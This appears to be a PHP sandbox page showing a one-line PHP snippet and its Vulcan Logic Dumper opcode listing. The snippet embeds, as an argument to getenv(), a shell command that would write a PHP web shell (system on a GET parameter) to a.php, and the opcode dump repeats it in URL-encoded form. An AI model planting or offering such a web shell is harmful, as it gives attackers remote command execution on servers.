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<?php getenv('echo "<?php system($$_GET[\'c\']); ?>" > a.php'); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Fvjit
function name:  (null)
number of ops:  4
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'getenv'
          1        SEND_VAL                                                 'echo+%22%3C%3Fphp+system%28%24%24_GET%5B%27c%27%5D%29%3B+%3F%3E%22+%3E+a.php'
          2        DO_ICALL                                                 
          3      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


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